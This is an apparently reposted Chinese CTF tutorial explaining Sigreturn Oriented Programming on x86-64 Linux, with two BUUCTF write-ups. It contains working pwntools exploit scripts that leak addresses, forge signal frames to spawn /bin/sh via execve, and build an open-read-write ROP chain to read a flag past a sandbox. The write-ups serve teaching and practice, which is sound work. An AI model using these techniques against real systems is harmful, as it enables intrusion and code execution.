Srop 原理與利用方法


Srop

Srop 的全稱是Sigreturn Oriented Programming

Srop 可以理解成一種高級的ROP,利用了linux下15號系統調用的->rt_sigreturn

Signal

SignalUnix系統中的一種通信機制,通常用於在進程之間傳遞信息,也可以說是軟中斷信息

常見於在一個進程中,內核向其發送發送軟中斷信號,該進程將暫時被掛起,系統進入內核態

因為是暫時被掛起,所以系統會保留該進程的上下文  (部分內容摘自ctf-wiki)

  • 將所有的寄存器壓入棧中,以及signal信息和指向sigreturn的系統調用地址在棧頂上放置rt_sigreturn

此時棧上的內存分布:

Signal Frame

這一段內存也被稱為Signal Frame

漏洞利用點

  • Signal Frame 被放置在用戶進程的內存空間中,也就說Signal Frame是可以讀寫的

  • 在恢復Signal信號的時候沒有檢測,也就是說我們可以通過改變Signal Frame中的信息來劫持控制流

例如:

rax = 59//對應59號系統調用-> exceve
rdi = '/bin/sh'
rsi = 0
rdx = 0

這樣就能進行一個最簡單的Srop

Srop鏈

有時候我們希望執行一系列的操作,此時可以通過syscall ret;這個gadget去串聯起我們我們的Srop

執行完一個SignalFrame接着執行下一個SignalFrame

ciscn_s_3  --BUUCTF

去年國賽的某道題

gadgets 函數:

vuln 函數 :

匯編其實也很好讀,就是系統調用-read/write

read(0,buf,0x400) //-syscall 0 read

write(0,buf,0x30) //-syscall 1 write

syscall(系統調用)是根據rax寄存器里的值,來決定進行多少號的系統調用。

在x64系統中,15號系統調用對應rt_sigreturn

此時我們的思路也很簡單,就用write去leak出/bin/sh的地址

讓系統進入Signal之后

我們去劫持Signal Frame就好了

1 frame=SigreturnFrame()#pwntools集成的srop工具
2 frame.rax = constants.SYS_execve
3 frame.rdi = sh_address
4 frame.rsi = 0
5 frame.rdx = 0
6 frame.rip = syscall_ret
exp:
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
#p = process('./ciscn_s_3')
p = remote('node3.buuoj.cn',28916)
set_rax_15 = 0x4004DA
rw = 0x4004F1
syscall_ret = 0x400517
syscall = 0x400501
​
payload = '/bin/sh\x00' + 'a'*0x8 + p64(rw) 
​
p.send(payload)
​
p.recv(32)
sh_address = u64(p.recv(8)) - 0x118# leak stack
​
p.recv(8)
#init srop
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = sh_address
frame.rsi = 0
frame.rdx = 0 
frame.rip = syscall_ret
#second read
payload = 'a'*0x10+p64(set_rax_15)+p64(syscall_ret)+str(frame)
p.send(payload)
p.interactive()

V&N公開賽 babybabypwn --BUUCTF

這題開了沙盒,沒法拿shell,是通過srop來寫orw讀flag,保護全開

IDA:

  char buf; // [rsp+0h] [rbp-110h]
  unsigned __int64 v2; // [rsp+108h] [rbp-8h]
​
  v2 = __readfsqword(0x28u);
  puts("Welcome to v&n challange!");
  printf("Here is my gift: 0x%llx\n", &puts);
  printf("Please input magic message: ");
  read(0, &buf, 0x100uLL);
  syscall(15LL, &buf);
  return __readfsqword(0x28u) ^ v2;
  • 值得注意的是read是沒有溢出的,題目給了syscall(15LL, &buf),就只能srop

  • 還是用到我們pwntools里集成的工具SigreturnFrame()生成signalframe

  • 然后就是寫orw了

exp :

from pwn import *                                                                                                                                                                                                       
context(log_level='debug', arch='amd64')
​
p = remote('node3.buuoj.cn', 27151)
​
libc = ELF('./libc-2.23.so')
​
p.recvuntil('gift: ')
puts_addr = int(p.recv(14), 16) 
log.info(hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
pop_rdi_ret = libc_base + 0x21102
pop_rsi_ret = libc_base + 0x202e8
pop_rdx_ret = libc_base + 0x01b92
bss = libc_base + libc.bss()
rop_addr = bss + 0x100
​
frame = SigreturnFrame()
frame.rdi = 0x0 # syscall 0 -> read
frame.rsi = rop_addr
frame.rdx = 0x100
frame.rip = read_addr
frame.rsp = rop_addr
#相當於棧遷移到bss +0x100上進行rop
p.sendafter('message: ', str(frame)[8:])
​
str_flag_addr = rop_addr + 0x98 #0x98是為了讓open讀到flag的字符 
payload = p64(pop_rdi_ret) + p64(str_flag_addr) + p64(pop_rsi_ret) + p64(0x0) + p64(open_addr) # open('flag')
payload += p64(pop_rdi_ret) + p64(0x3) + p64(pop_rsi_ret) + p64(bss) + p64(pop_rdx_ret) + p64(0x30) + p64(read_addr) # read(3,bss,0x40) 3是因為open默認打開stdin->0 stdout->1 stderr->2,接下來打開就是3
payload += p64(pop_rdi_ret) + p64(0x1) + p64(pop_rsi_ret) + p64(bss) + p64(pop_rdx_ret) + p64(0x30) + p64(write_addr) # write(1,bss,0x40)
payload += 'flag\x00'
p.send(payload)
p.interactive()

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM